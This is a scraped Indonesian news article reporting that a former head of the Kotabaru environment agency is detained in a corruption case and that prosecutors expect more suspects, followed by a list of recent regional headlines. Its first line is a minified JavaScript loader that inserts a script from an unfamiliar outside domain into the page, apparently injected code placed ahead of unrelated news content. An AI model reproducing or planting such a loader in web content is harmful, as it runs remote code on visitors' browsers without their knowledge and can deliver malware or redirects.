(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kotabaru

Kajari: Kemungkinan Ada Tersangka Lain Kasus Korupsi di DLH Kotabaru


KANALKALIMANTAN.COM, KOTABARU – Setelah AF ditetapkan sebagai tersangka dugaan kasus korupsi di Dinas Lingkungan Hidup (DLH) Kotabaru, bakal ada nama lain menyusul sebagai tersangka baru oleh Kejari Kotabaru.

Mantan Kadis LH Kotabaru AF ditetapkan sebagai tersangka kasus tindak pidana korupsi penyalahgunaan anggaran penyedia jasa pemeliharaan, biaya pemeliharaan pajak, perizinan kendaraan dinas operasional atau lapangan DLH Kabupaten Kotabaru tahun anggaran 2020 dan 2021.

Hal tersebut diungkapkan Kepala Kejakasaan Negeri (Kajari) Kotabaru Dr Andi Irfan Syafruddin, saat menggelar jumpa pers, Jumat (4/3/22) sore di ruang rapat kantor Kejari Kotabaru.

“Kami telah mengamankan satu orang yang dijadikan tersangka, sekarang telah berada di Rutan Kelas II A Kotabaru sambil menunggu proses hukumnya. Kami kembali masih mendalami kasus tersebut, kemungkinan besar masih ada yang akan ditetapkan sebagai tersangka,” beber Dr Andi Irfan Syafruddin di hadapan sejumlah awak media.

 

Baca juga : Mangkir Dua Kali Pemanggilan, Jadi Tersangka Mantan Kadis LH Kotabaru Ditahan

Dijelaskannya pula, pihaknya telah melakukan pemeriksaan kepada sejumlah saksi yang memungkinkan akan ada tersangka baru. “Kalau melihat penyidikan yang kami lakukan kemugkinan besar ada penetapan tersangka baru, yang jelas untuk sekarang kami masih mendalaminya,” jelas Kajari Kotabaru.

Untuk tersangka AF yang sudah ditahan, disangkakan melanggar pasal 2 dan pasal 3 ayat 1 Undang-Undang RI nomor 31 tahun 1999 tentang pemberantasan tindak pidana korupsi Jo Undang-Undang RI nomor 20 tahun 2001 tentang perubahan atas UU nomor 31 tahun 1999 tentang pemberantasan tindak pidana korupsi, dengan ancaman hukuman di atas 5 tahun.

“Dari pemeriksaan kepada tersangka AF, ia mengakui telah melakukan tindakan tersebut, namun untuk kerugiannya belum diketahui pastinya, karena kita masih menunggu tim dari pihak Inspektorat Kabupaten Kotabaru,” pungkasnya. (Kanalkalimantan.com/muhammad)

Reporter : muhammad
Editor : bie


Desy Arfianty

Recent Posts

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

1 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

1 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

2 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

2 jam ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

2 jam ago

Tekan Angka Pernikahan Dini, Pemkab Banjar Sosialisasi ke Sejumlah Sekolah

KANALKALIMANTAN.COM, MARTAPURA -  Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More

3 jam ago

This website uses cookies.